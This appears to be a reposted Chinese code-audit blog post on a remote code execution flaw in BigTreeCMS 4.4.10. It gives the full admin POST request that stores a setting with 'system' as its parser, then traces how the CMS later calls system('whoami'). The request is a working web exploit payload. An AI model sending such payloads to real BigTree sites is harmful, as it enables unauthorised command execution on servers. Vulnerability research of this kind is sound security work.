[PHP代码审计]BigTreeCMS4.4.10-RCE

文章目录

  • BigTreeCMS4.4.10-RCE

BigTreeCMS4.4.10-RCE

首先在后台add setting
[PHP代码审计]BigTreeCMS4.4.10-RCE_第1张图片
通过POST传入,csrftoken可能需要自己抓个包

__csrf_token_TVLJG51HR1FP6KW15L0F3RY7LUHBPYDF__=IjwQ6eoeAzbUgSB8qm9Hq3A4fKQqDfEU5WD159HYFG4=&id=Test rce&name=Test rce&type=list&settings={
     "list_type":"static","allow-empty":"Yes","list":"whoami","pop-table":"","parser":"system"}&description=<p>Test rce</p>

这个过程调用core/admin/modules/developer/settings/create.php
[PHP代码审计]BigTreeCMS4.4.10-RCE_第2张图片
跟入函数,成功赋值
[PHP代码审计]BigTreeCMS4.4.10-RCE_第3张图片
跟入
[PHP代码审计]BigTreeCMS4.4.10-RCE_第4张图片
当array_filter第二个参数为空,作用是去除空值,[PHP代码审计]BigTreeCMS4.4.10-RCE_第5张图片
可以发现这里直接插入无过滤
[PHP代码审计]BigTreeCMS4.4.10-RCE_第6张图片
之后我们访问
[PHP代码审计]BigTreeCMS4.4.10-RCE_第7张图片
成功RCE
[PHP代码审计]BigTreeCMS4.4.10-RCE_第8张图片
在这里调用core/admin/modules/settings/edit.php,首行读取写入的配置
[PHP代码审计]BigTreeCMS4.4.10-RCE_第9张图片
跟入drawField
[PHP代码审计]BigTreeCMS4.4.10-RCE_第10张图片
进入分支,根据配置赋值
[PHP代码审计]BigTreeCMS4.4.10-RCE_第11张图片
接下来引入文件
[PHP代码审计]BigTreeCMS4.4.10-RCE_第12张图片
因为是static,所以进入else分支
[PHP代码审计]BigTreeCMS4.4.10-RCE_第13张图片
最终调用system("whoami")

你可能感兴趣的:(安全学习,#,PHP代码审计,#,Web)